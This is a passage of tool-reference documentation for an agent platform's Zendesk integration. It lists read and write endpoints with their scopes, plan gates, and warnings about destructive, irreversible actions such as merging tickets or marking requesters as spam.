/api/v1/tools/zendesk/list-help-center-section-translations. Scopes: hc:read. zendesk_list_help_center_sections (read) — List Help Center sections. List every section in the knowledge base READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-sections. Scopes: hc:read. zendesk_list_help_center_sections_in_locale (read) — List Help Center sections in a locale. List the sections published in one locale READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-sections-in-locale. Scopes: hc:read. zendesk_list_help_center_user_segments (read) — List Help Center user segments. List the user segments that decide who can see which Help Center content — the answer to 'why can this customer not see that article' READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-help-center-user-segments. Scopes: hc:read. zendesk_list_macro_actions (read) — List Supported Actions for Macros. Allowed For Agents READ ONLY: Agentic Fabriq exposes no macro create, update or delete. A macro is handed to every human agent as approved wording, so a subtly wrong one becomes outward exposure at human scale. GET /api/v1/tools/zendesk/list-macro-actions. Scopes: macros:read. zendesk_list_macro_attachments (read) — List Macro Attachments. Lists the attachments associated with a macro READ ONLY: Agentic Fabriq exposes no macro create, update or delete. A macro is handed to every human agent as approved wording, so a subtly wrong one becomes outward exposure at human scale. GET /api/v1/tools/zendesk/list-macro-attachments. Scopes: macros:read. zendesk_list_macro_categories (read) — List Macro Categories. Lists all macro categories available to the current user READ ONLY: Agentic Fabriq exposes no macro create, update or delete. A macro is handed to every human agent as approved wording, so a subtly wrong one becomes outward exposure at human scale. GET /api/v1/tools/zendesk/list-macro-categories. Scopes: macros:read. zendesk_list_macro_definitions (read) — List Macro Action Definitions. Returns the definitions of the actions a macro can perform. For example, one action can set the status of a ticket. The definition of the action includes a title ("Status"), a type ("list"), and possible values. For a list of support actions, see Actions reference READ ONLY: Agentic Fabriq exposes no macro create, update or delete. A macro is handed to every human agent as approved wording, so a subtly wrong one becomes outward exposure at human scale. GET /api/v1/tools/zendesk/list-macro-definitions. Scopes: macros:read. zendesk_list_macros (read) — List the account's macros — its own approved wording for a situation. Reading them lets you answer in the account's established voice instead of composing novel text. READ ONLY: Agentic Fabriq exposes no way to create, change or delete a macro. GET /api/v1/tools/zendesk/macros. Scopes: macros:read. zendesk_list_missing_article_translations (read) — List an article's missing translations. List the locales one article has NOT been translated into. The direct answer to 'is this answer available in the customer's language' READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-missing-article-translations. Scopes: hc:read. zendesk_list_missing_category_translations (read) — List a category's missing translations. List the locales one category has not been translated into READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-missing-category-translations. Scopes: hc:read. zendesk_list_missing_section_translations (read) — List a section's missing translations. List the locales one section has not been translated into READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-missing-section-translations. Scopes: hc:read. zendesk_list_open_requests (read) — List Open Requests. Lists requests with the "open" status for the authenticated end user GET /api/v1/tools/zendesk/list-open-requests. Scopes: requests:read. zendesk_list_organization_fields (read) — List organization fields, including custom ones. GET /api/v1/tools/zendesk/organization-fields. Scopes: organizations:read. zendesk_list_organization_memberships (read) — List organization memberships across the account. GET /api/v1/tools/zendesk/organization-memberships. Scopes: organizations:read. zendesk_list_organization_memberships_by_organization (read) — List Organization Memberships by Organization. Returns a list of organization memberships for the account, user or organization in question GET /api/v1/tools/zendesk/list-organization-memberships-by-organization. Scopes: organizations:read. zendesk_list_organization_merges (read) — List Organization Merges. Retrieves a list of all organization merge operations associated with a given organization. This endpoint allows you to track the history of merge actions for an organization, including ongoing and completed merges GET /api/v1/tools/zendesk/list-organization-merges. Scopes: organizations:read. zendesk_list_organization_requests (read) — List Organization Requests. Returns a list of requests for a specific organization GET /api/v1/tools/zendesk/list-organization-requests. Scopes: requests:read. zendesk_list_organization_subscriptions (read) — List Organization Subscriptions. Pagination GET /api/v1/tools/zendesk/list-organization-subscriptions. Scopes: organizations:read. zendesk_list_organization_subscriptions_by_organization (read) — List Subscriptions By Organization. Returns a list of organization subscriptions for a specific organization GET /api/v1/tools/zendesk/list-organization-subscriptions-by-organization. Scopes: organizations:read. zendesk_list_organization_tags (read) — List Organization Tags. Allowed For GET /api/v1/tools/zendesk/list-organization-tags. Scopes: organizations:read. zendesk_list_organization_tickets (read) — List every ticket filed by one organization. GET /api/v1/tools/zendesk/organization-tickets. Scopes: tickets:read. zendesk_list_organization_users (read) — List the users belonging to one organization. GET /api/v1/tools/zendesk/organization-users. Scopes: users:read, organizations:read. zendesk_list_organizations (read) — List the organizations in the account with their domain names, tags and notes, one cursor page of up to 100 at a time. GET /api/v1/tools/zendesk/organizations. Scopes: organizations:read. zendesk_list_owned_apps (read) — List owned apps. List the apps this account itself owns and published READ ONLY: Agentic Fabriq exposes no app install, update or removal. Installing an app puts third-party code with its own permissions into the account, and Agentic Fabriq cannot vet the party. GET /api/v1/tools/zendesk/list-owned-apps. Scopes: apps:read. zendesk_list_problem_tickets (read) — List Ticket Problems. The response is always ordered by updated_at in descending order GET /api/v1/tools/zendesk/list-problem-tickets. Scopes: tickets:read. zendesk_list_recent_tickets (read) — List Recent Tickets. Lists up to five tickets that the requesting agent recently viewed or created in the agent interface GET /api/v1/tools/zendesk/list-recent-tickets. Scopes: tickets:read. zendesk_list_requests (read) — List tickets as the end user sees them (the Requests projection). GET /api/v1/tools/zendesk/requests. Scopes: requests:read. zendesk_list_satisfaction_ratings (read) — List the CSAT ratings customers left on tickets. PLAN-GATED and admin-only: CSAT is Suite Growth and above. GET /api/v1/tools/zendesk/satisfaction-ratings. Scopes: satisfaction_ratings:read. zendesk_list_satisfaction_reasons (read) — List Reasons for Satisfaction Rating. List all reasons for an account PLAN-GATED: requires Suite Growth or above. GET /api/v1/tools/zendesk/list-satisfaction-reasons. Scopes: satisfaction_ratings:read. zendesk_list_section_articles (read) — List a section's articles. List the articles in one Help Center section — the browse step between a category and an answer READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-section-articles. Scopes: hc:read. zendesk_list_sessions (read) — List Sessions. If authenticated as an admin, returns all the account's sessions. If authenticated as an agent or end user, returns only the sessions of the user making the request GET /api/v1/tools/zendesk/list-sessions. Scopes: users:read. zendesk_list_solved_requests (read) — List Solved Requests. Lists requests with the "solved" status for the authenticated end user GET /api/v1/tools/zendesk/list-solved-requests. Scopes: requests:read. zendesk_list_tags (read) — List Tags. Lists up to the 20,000 most popular tags in the last 60 days, in decreasing popularity GET /api/v1/tools/zendesk/list-tags. Scopes: tickets:read. zendesk_list_target_failures (read) — List Target Failures. Returns the 25 most recent target failures, per target READ ONLY. GET /api/v1/tools/zendesk/list-target-failures. Scopes: targets:read. zendesk_list_targets (read) — List Targets. Allowed For READ ONLY: Agentic Fabriq exposes no target writes. A target holds its own credentials and points at an arbitrary URL. GET /api/v1/tools/zendesk/list-targets. Scopes: targets:read. zendesk_list_ticket_audits (read) — One ticket's full change history: who changed the status, assignee or tags, when, and which business rules fired. The answer to 'why is this ticket stuck' — none of it appears in the comment list. Payloads are large, so prefer zendesk_list_ticket_comments when the question is about the conversation. GET /api/v1/tools/zendesk/ticket-audits. Scopes: tickets:read. zendesk_list_ticket_collaborators (read) — List the users collaborating on one ticket. GET /api/v1/tools/zendesk/ticket-collaborators. Scopes: tickets:read, users:read. zendesk_list_ticket_comments (read) — List one ticket's comments, oldest first, with author, body, timestamp and a `public` flag. TWO THINGS THAT ARE NOT OBVIOUS: the FIRST comment is the ticket description rather than a separate field, so a summary that skips it misses how the ticket started; and `public: false` is an INTERNAL agent note the requester has never seen, so repeating one back to a customer is a real disclosure. GET /api/v1/tools/zendesk/ticket-comments. Scopes: tickets:read. zendesk_list_ticket_email_ccs (read) — List the users CC'd by e-mail on one ticket. THESE ARE THE PEOPLE A PUBLIC COMMENT REACHES beyond the requester, so check this before setting `public: true` on zendesk_add_ticket_comment. GET /api/v1/tools/zendesk/ticket-email-ccs. Scopes: tickets:read, users:read. zendesk_list_ticket_field_options (read) — List the allowed option values of one custom field. GET /api/v1/tools/zendesk/ticket-field-options. Scopes: tickets:read. zendesk_list_ticket_fields (read) — List ticket fields, including the account's CUSTOM field ids and their types. Call this before setting `custom_fields` on zendesk_create_ticket or zendesk_update_ticket: a field id is unguessable, and an invented one is rejected with a 422 that does not say which id was wrong. For a dropdown field, follow up with zendesk_list_ticket_field_options to learn the values it accepts. GET /api/v1/tools/zendesk/ticket-fields. Scopes: tickets:read. zendesk_list_ticket_followers (read) — List the agents following one ticket. GET /api/v1/tools/zendesk/ticket-followers. Scopes: tickets:read, users:read. zendesk_list_ticket_form_statuses (read) — List Ticket Form Statuses. Fetches all of the ticket form statuses for the account PLAN-GATED: requires Zendesk Suite. GET /api/v1/tools/zendesk/list-ticket-form-statuses. Scopes: tickets:read. zendesk_list_ticket_forms (read) — List ticket forms and the fields each one shows. GET /api/v1/tools/zendesk/ticket-forms. Scopes: tickets:read. zendesk_list_ticket_incidents (read) — List the incident tickets linked to a problem ticket. GET /api/v1/tools/zendesk/ticket-incidents. Scopes: tickets:read. zendesk_list_ticket_metrics (read) — List Ticket Metrics. Returns a list of tickets with their metrics GET /api/v1/tools/zendesk/list-ticket-metrics. Scopes: tickets:read. zendesk_list_ticket_skips (read) — List Ticket Skips By Ticket. Returns the skips for a specific ticket PLAN-GATED: requires Suite Growth or above (guided mode). GET /api/v1/tools/zendesk/list-ticket-skips. Scopes: tickets:read. zendesk_list_ticket_tags (read) — List Resource Tags. Allowed For GET /api/v1/tools/zendesk/list-ticket-tags. Scopes: tickets:read. zendesk_list_tickets (read) — List the account's tickets, one cursor page of up to 100 at a time, with subject, status, priority, requester, assignee and tags. Pass `meta.after_cursor` from the response back as `cursor` for the next page, and stop when `meta.has_more` is false — an empty page alone is not the end signal. ARCHIVED TICKETS ARE NOT INCLUDED: Zendesk archives a ticket 120 days after it is closed and stops serving it here, so use zendesk_search to reach an older one. GET /api/v1/tools/zendesk/tickets. Scopes: tickets:read. zendesk_list_topic_posts (read) — List a topic's posts. List the posts inside one community topic READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-topic-posts. Scopes: hc:read. zendesk_list_trigger_categories (read) — List Ticket Trigger Categories. Returns all the ticket trigger categories in the account READ ONLY: Agentic Fabriq exposes no trigger-category writes, for the same reason it exposes no trigger writes. PLAN-GATED: requires Support Growth or above. GET /api/v1/tools/zendesk/list-trigger-categories. Scopes: triggers:read. zendesk_list_trigger_definitions (read) — List Ticket Trigger Action and Condition Definitions. Returns the definitions of the actions a ticket trigger can perform and the definitions of the conditions under which a ticket trigger can execute. The definition of the action includes a title ("Status"), a type ("list"), and possible values. The definition of the condition includes the same fields as well as the possible operators READ ONLY: Agentic Fabriq exposes no trigger create, update, reorder or delete. A trigger fires on every future ticket with no agent in the loop, so nothing it does afterwards would have an Agentic Fabriq audit row behind it. GET /api/v1/tools/zendesk/list-trigger-definitions. Scopes: triggers:read. zendesk_list_trigger_revisions (read) — List the revision history of one trigger — who changed the rule, when, and to what. Enterprise plans only. The diagnostic that turns 'this started happening last week' into a date and an author. GET /api/v1/tools/zendesk/list-trigger-revisions. Scopes: triggers:read. zendesk_list_triggers (read) — List the account's ticket triggers: the standing rules that fire on every ticket create and update. THIS IS THE ANSWER TO 'WHY DID THIS TICKET GET REASSIGNED', which nothing else can answer — a trigger acts with no agent in the loop and leaves no Agentic Fabriq action row. READ ONLY: no trigger create, update, reorder or delete is exposed. GET /api/v1/tools/zendesk/list-triggers. Scopes: triggers:read. zendesk_list_user_articles (read) — List articles by author. List the Help Center articles one user authored READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-user-articles. Scopes: hc:read. zendesk_list_user_assigned_tickets (read) — List User Assigned Tickets. Lists tickets assigned to the specified user GET /api/v1/tools/zendesk/list-user-assigned-tickets. Scopes: tickets:read. zendesk_list_user_ccd_tickets (read) — List the tickets one user is CC'd on. GET /api/v1/tools/zendesk/user-ccd-tickets. Scopes: tickets:read. zendesk_list_user_community_post_comments (read) — List post comments by author. List the community post comments one user wrote READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-user-community-post-comments. Scopes: hc:read. zendesk_list_user_community_posts (read) — List community posts by author. List the community posts one user wrote READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-user-community-posts. Scopes: hc:read. zendesk_list_user_compliance_deletions (read) — Show Compliance Deletion Statuses. Returns the GDPR status for each user per area of compliance. A Zendesk area of compliance is typically a product like "support/explore" but can be more fine-grained for areas within the product lines GET /api/v1/tools/zendesk/list-user-compliance-deletions. Scopes: users:read. zendesk_list_user_content_subscriptions (read) — List a user's content subscriptions. List everything in Help Center one user follows READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-user-content-subscriptions. Scopes: hc:read. zendesk_list_user_field_options (read) — List User Field Options. Returns a list of custom user field options for the given dropdown user field GET /api/v1/tools/zendesk/list-user-field-options. Scopes: users:read. zendesk_list_user_fields (read) — List user fields, including the account's custom ones. GET /api/v1/tools/zendesk/user-fields. Scopes: users:read. zendesk_list_user_followed_tickets (read) — List User Followed Tickets. Lists tickets the specified user is following GET /api/v1/tools/zendesk/list-user-followed-tickets. Scopes: tickets:read. zendesk_list_user_help_center_comments (read) — List article comments by author. List the article comments one user wrote READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-user-help-center-comments. Scopes: hc:read. zendesk_list_user_help_center_segments (read) — List a user's segments. List the Help Center user segments one user belongs to READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-user-help-center-segments. Scopes: hc:read. zendesk_list_user_help_center_subscriptions (read) — List a user's followings. List the PEOPLE one user follows, or who follows them. Distinct from content subscriptions READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-user-help-center-subscriptions. Scopes: hc:read. zendesk_list_user_help_center_votes (read) — List votes by user. List the Help Center votes one user cast READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-user-help-center-votes. Scopes: hc:read. zendesk_list_user_identities (read) — List one user's e-mail addresses and other identities. GET /api/v1/tools/zendesk/user-identities. Scopes: users:read. zendesk_list_user_organization_memberships (read) — List Organization Memberships by User. Returns a list of organization memberships for the account, user or organization in question GET /api/v1/tools/zendesk/list-user-organization-memberships. Scopes: organizations:read. zendesk_list_user_organization_subscriptions (read) — List User's Organization Subscriptions. Returns a list of organization subscriptions for a specific user GET /api/v1/tools/zendesk/list-user-organization-subscriptions. Scopes: organizations:read. zendesk_list_user_organizations (read) — List User Organizations. Returns a list of organizations associated with the specified user GET /api/v1/tools/zendesk/list-user-organizations. Scopes: organizations:read. zendesk_list_user_requested_tickets (read) — List the tickets one user opened. GET /api/v1/tools/zendesk/user-requested-tickets. Scopes: tickets:read. zendesk_list_user_requests (read) — List User Requests. Lists requests for the specified user GET /api/v1/tools/zendesk/list-user-requests. Scopes: requests:read. zendesk_list_user_segment_sections (read) — List a segment's sections. List the sections restricted to one user segment READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-user-segment-sections. Scopes: hc:read. zendesk_list_user_segment_topics (read) — List a segment's topics. List the community topics restricted to one user segment READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/list-user-segment-topics. Scopes: hc:read. zendesk_list_user_sessions (read) — List Sessions for User. Lists all sessions for a specific user GET /api/v1/tools/zendesk/list-user-sessions. Scopes: users:read. zendesk_list_user_tags (read) — List User Tags. Allowed For GET /api/v1/tools/zendesk/list-user-tags. Scopes: users:read. zendesk_list_user_ticket_skips (read) — List Ticket Skips. Archived tickets are not included in the response. See About archived tickets in the Support Help Center PLAN-GATED: requires Suite Growth or above (guided mode). GET /api/v1/tools/zendesk/list-user-ticket-skips. Scopes: tickets:read. zendesk_list_users (read) — List the account's users, cursor-paginated. GET /api/v1/tools/zendesk/users. Scopes: users:read. zendesk_list_webhook_invocation_attempts (read) — List a webhook invocation's attempts. List every retry attempt of one webhook delivery, with the response code each one got READ ONLY: Agentic Fabriq exposes no webhook create, update, test or delete. A webhook carries its own authentication config and points at an arbitrary URL — a standing, credentialed data pipe out of the account. GET /api/v1/tools/zendesk/list-webhook-invocation-attempts. Scopes: webhooks:read. zendesk_list_webhook_invocations (read) — List a webhook's invocations. List one webhook's delivery history. This is the diagnostic read that answers 'did the integration actually fire', which no other endpoint can READ ONLY: Agentic Fabriq exposes no webhook create, update, test or delete. A webhook carries its own authentication config and points at an arbitrary URL — a standing, credentialed data pipe out of the account. GET /api/v1/tools/zendesk/list-webhook-invocations. Scopes: webhooks:read. zendesk_list_webhooks (read) — List webhooks. List the webhooks configured on the account: what standing outbound data pipes exist and where they point READ ONLY: Agentic Fabriq exposes no webhook create, update, test or delete. A webhook carries its own authentication config and points at an arbitrary URL — a standing, credentialed data pipe out of the account. GET /api/v1/tools/zendesk/list-webhooks. Scopes: webhooks:read. zendesk_make_audit_comment_private (write, destructive) — DESTRUCTIVE — Change a Comment From Public To Private. Allowed for Requires confirm=true. POST /api/v1/tools/zendesk/make-audit-comment-private. Scopes: tickets:write. zendesk_make_comment_private (write, destructive) — DESTRUCTIVE — turn a public ticket comment into an internal note. IRREVERSIBLE: Zendesk publishes no way back. IT DOES NOT RECALL THE E-MAIL already sent to the requester and every CC — it changes what the ticket shows from now on and nothing more, so never describe it to a user as an undo. PUT /api/v1/tools/zendesk/ticket-comment-private. Scopes: tickets:write. zendesk_make_end_user_identity_primary (write) — Make End User Identity Primary. Sets the specified identity as primary for the end user. This is a collection-level operation and the correct behavior for an API client is to subsequently reload the entire collection POST /api/v1/tools/zendesk/make-end-user-identity-primary. Scopes: users:write. zendesk_make_user_identity_primary (write) — Make Identity Primary. Sets the specified identity as primary. To change other attributes, use the Update Identity endpoint. This is a collection-level operation and the correct behavior for an API client is to subsequently reload the entire collection POST /api/v1/tools/zendesk/make-user-identity-primary. Scopes: users:write. zendesk_mark_many_tickets_as_spam (write, destructive) — DESTRUCTIVE — Mark up to 100 tickets as spam in one job, suspending every requester among them. Everything the single-ticket version says applies, multiplied: each suspension is a real person losing the ability to contact support. The job runs in the background and Agentic Fabriq cannot show you its progress, because Zendesk publishes no granular scope for job statuses. Prefer the single-ticket action. Requires confirm=true. POST /api/v1/tools/zendesk/mark-many-tickets-as-spam. Scopes: tickets:write. zendesk_mark_ticket_as_spam (write, destructive) — DESTRUCTIVE — Mark a ticket as spam, which SUSPENDS THE REQUESTER: a real person silently loses the ability to contact support, and the consequence lands outside the ticket. The ticket itself is soft-deleted and can be restored; the suspension is undone with 'Update a user' (suspended=false), which Agentic Fabriq now also exposes — that pair is what makes this shippable at all. Confirm the requester is not a real customer before calling it. Requires confirm=true. POST /api/v1/tools/zendesk/mark-ticket-as-spam. Scopes: tickets:write. zendesk_merge_tickets (write, destructive) — DESTRUCTIVE — Merge one or more source tickets into a target ticket. THERE IS NO UNDO. Merging CLOSES every source ticket, and closed is the one Zendesk transition with no way back through any API or any interface — so Agentic Fabriq cannot ship an inverse for this and no human can reverse it in Zendesk either. The source tickets' comments are copied into the target and a note is left on each source. Read both tickets first and say which is which. Requires confirm=true. POST /api/v1/tools/zendesk/merge-tickets. Scopes: tickets:write. zendesk_merge_users (write, destructive) — DESTRUCTIVE — Merge one end user into another. THERE IS NO UNDO. The source user's tickets, identities and organization memberships move to the target and the source user is deleted; Zendesk publishes no unmerge. Read both users and their identities first. Requires confirm=true. POST /api/v1/tools/zendesk/merge-users. Scopes: users:write. zendesk_preview_macro (read) — Preview a macro's actions without applying it to anything. GET /api/v1/tools/zendesk/macro-preview. Scopes: macros:read. zendesk_preview_macro_on_ticket (read) — Show what a ticket WOULD look like if a macro were applied — the comment text, status, tags and assignee Zendesk would set — and SAVE NOTHING. This is the read that makes macros usable without new write authority: preview here, then commit only the parts you chose with zendesk_add_ticket_comment or zendesk_update_ticket, which are separately granted and separately audited. Nothing on the ticket changes until you make one of those calls. GET /api/v1/tools/zendesk/ticket-macro-preview. Scopes: macros:read, tickets:read. zendesk_put_user_tags (write, destructive) — DESTRUCTIVE — Add User Tags. Allowed For Requires confirm=true. POST /api/v1/tools/zendesk/put-user-tags. Scopes: users:write. zendesk_record_ticket_skip (write) — Record a New Skip for the Current User. Record a new ticket skip for the current user PLAN-GATED: requires Suite Growth or above (guided mode). POST /api/v1/tools/zendesk/record-ticket-skip. Scopes: tickets:write. zendesk_remove_organization_tags (write, destructive) — DESTRUCTIVE — Remove Organization Tags. Allowed For Requires confirm=true. POST /api/v1/tools/zendesk/remove-organization-tags. Scopes: organizations:write. zendesk_remove_ticket_tags (write, destructive) — DESTRUCTIVE — Remove Tags. You can also delete tags from multiple tickets with the Update Many Tickets endpoint Requires confirm=true. POST /api/v1/tools/zendesk/remove-ticket-tags. Scopes: tickets:write. zendesk_renew_my_session (read) — Renew the current session. Allowed For GET /api/v1/tools/zendesk/renew-my-session. Scopes: users:read. zendesk_request_end_user_verification (write) — Request End User Verification. Sends the end user a verification email with a link to verify ownership of the email address POST /api/v1/tools/zendesk/request-end-user-verification. Scopes: users:write. zendesk_request_user_verification (write) — Request User Verification. Sends the user a verification email with a link to verify ownership of the email address POST /api/v1/tools/zendesk/request-user-verification. Scopes: users:write. zendesk_restore_deleted_ticket (write) — Restore a soft-deleted ticket — the inverse of zendesk_delete_ticket. Works for 30 days and only while the ticket has not been archived; get the id from zendesk_list_deleted_tickets, because a deleted ticket is no longer returned by zendesk_get_ticket or zendesk_list_tickets. PUT /api/v1/tools/zendesk/deleted-tickets/restore. Scopes: tickets:write. zendesk_restore_deleted_tickets_many (write) — Restore up to 100 soft-deleted tickets — the inverse of the bulk delete, shipped in the same migration. POST /api/v1/tools/zendesk/restore-deleted-tickets-many. Scopes: tickets:write. zendesk_search (read) — Search tickets, users and organizations with Zendesk search syntax, e.g. 'type:ticket status:open requester:someone@example.com'. THE DISCOVERY TOOL — Zendesk ids are numeric and unguessable, so almost every write starts here. Results are heterogeneous: each carries a `result_type` of ticket, user or organization. Two limits: a result SET is capped at 1,000 records however it is paged (`page` is 1-10 and `count` reports the true total, so count > 1000 means narrow the query, not keep paging), and search has its own rate-limit bucket well below the account's, so a loop of searches will fail while ordinary reads still succeed. GET /api/v1/tools/zendesk/search. Scopes: tickets:read, users:read, organizations:read. zendesk_search_automations (read) — Search Automations. Pagination READ ONLY: Agentic Fabriq exposes no automation create, update or delete. An automation fires on a clock, with no ticket event and no agent anywhere in the loop. GET /api/v1/tools/zendesk/search-automations. Scopes: automations:read. zendesk_search_guide_content (read) — Search all Guide content. Unified search across Help Center articles, community posts and connected external records in one call READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/search-guide-content. Scopes: hc:read. zendesk_search_help_center_articles (read) — Search the account's Help Center for the published article that already answers a ticket, so you can link it instead of writing the answer again. READ ONLY — no Agentic Fabriq action can publish, edit or unpublish an article. Requires Zendesk Guide. GET /api/v1/tools/zendesk/help-center-article-search. Scopes: hc:read. zendesk_search_help_center_articles_embeddable (read) — Search articles (widget ranking). The widget-optimised article search: cached, separately rate-limited, and ranked the way the help widget ranks READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/search-help-center-articles-embeddable. Scopes: hc:read. zendesk_search_help_center_posts (read) — Search community posts. Search the community forum for a post that already answers the question READ ONLY: Agentic Fabriq publishes, edits and deletes nothing in Help Center. A published article sits on the customer's public web knowledge base — visible to everyone, indexed by search engines and cached beyond the account's reach. PLAN-GATED: requires Zendesk Guide. GET /api/v1/tools/zendesk/search-help-center-posts. Scopes: hc:read. zendesk_search_macros (read) — Find a macro by title or content. GET /api/v1/tools/zendesk/macro-search. Scopes: macros:read. zendesk_search_organizations (read) — Search Organizations. Returns an array of organizations matching the criteria. You may search by an organization's external_id or name, but not both: GET /api/v1/tools/zendesk/search-organizations. Scopes: organizations:read. zendesk_search_requests (read) — Search Requests. Examples: GET /api/v1/tools/zendesk/search-requests. Scopes: requests:read. zendesk_search_triggers (read) — Search Ticket Triggers. Pagination READ ONLY: Agentic Fabriq exposes no trigger create, update, reorder or delete. A trigger fires on every future ticket with no agent in the loop, so nothing it does afterwards would have an Agentic Fabriq audit row behind it. GET /api/v1/tools/zendesk/search-triggers. Scopes: triggers:read. zendesk_search_users (read) — Find Zendesk users by name, e-mail address or external id. Offset-paged: up to 100 per page and at most 10,000 records for one query. Use this to turn a person into the numeric id the ticket tools need. GET /api/v1/tools/zendesk/user-search. Scopes: users:read. zendesk_set_organization_as_default (write) — Set Organization as Default. Sets the default organization membership of a given user POST /api/v1/tools/zendesk/set-organization-as-default. Scopes: organizations:write. zendesk_set_organization_membership_as_default (write) — Set Membership as Default. Sets the default organization membership of a given user POST /api/v1/tools/zendesk/set-organization-membership-as-default. Scopes: organizations:write. zendesk_set_organization_tags (write, destructive) — DESTRUCTIVE — Set Organization Tags. Allowed For Requires confirm=true. POST /api/v1/tools/zendesk/set-organization-tags. Scopes: organizations:write. zendesk_set_ticket_tags (write, destructive) — DESTRUCTIVE — Set Tags. Allowed For Requires confirm=true. POST /api/v1/tools/zendesk/set-ticket-tags. Scopes: tickets:write. zendesk_set_user_tags (write, destructive) — DESTRUCTIVE — Set User Tags. Allowed For Requires confirm=true. POST /api/v1/tools/zendesk/set-user-tags. Scopes: users:write. zendesk_show_automation (read) — Show Automation. Allowed For READ ONLY: Agentic Fabriq exposes no automation create, update or delete. An automation fires on a clock, with no ticket event and no agent anywhere in the loop. GET /api/v1/tools/zendesk/show-automation. Scopes: automations:read. zendesk_show_comment (read) — Getting Comments. Allowed For GET /api/v1/tools/zendesk/show-comment. Scopes: requests:read. zendesk_show_custom_status (read) — Show Custom Ticket Status. Returns the custom ticket status object PLAN-GATED: requires Zendesk Suite. GET /api/v1/tools/zendesk/show-custom-status. Scopes: tickets:read. zendesk_show_dynamic_content_item (read) — Show Item. Allowed For PLAN-GATED: requires Support Growth or above (multiple languages). GET /api/v1/tools/zendesk/show-dynamic-content-item. Scopes: dynamic_content:read. zendesk_show_dynamic_content_variant (read) — Show Variant. Allowed For PLAN-GATED: requires Support Growth or above (multiple languages). GET /api/v1/tools/zendesk/show-dynamic-content-variant. Scopes: dynamic_content:read. zendesk_show_email_notification (read) — Show Email Notification. Shows details on an email notification. You can get the value of the notification_id parameter by listing the ticket's outbound emails GET /api/v1/tools/zendesk/show-email-notification. Scopes: tickets:read. zendesk_show_end_user_identity (read) — Show End User Identity. Shows the identity with the given id for a given end user GET /api/v1/tools/zendesk/show-end-user-identity. Scopes: users:read. zendesk_show_many_dynamic_contents (read) — Show Many Items. Stability PLAN-GATED: requires Support Growth or above (multiple languages). GET /api/v1/tools/zendesk/show-many-dynamic-contents. 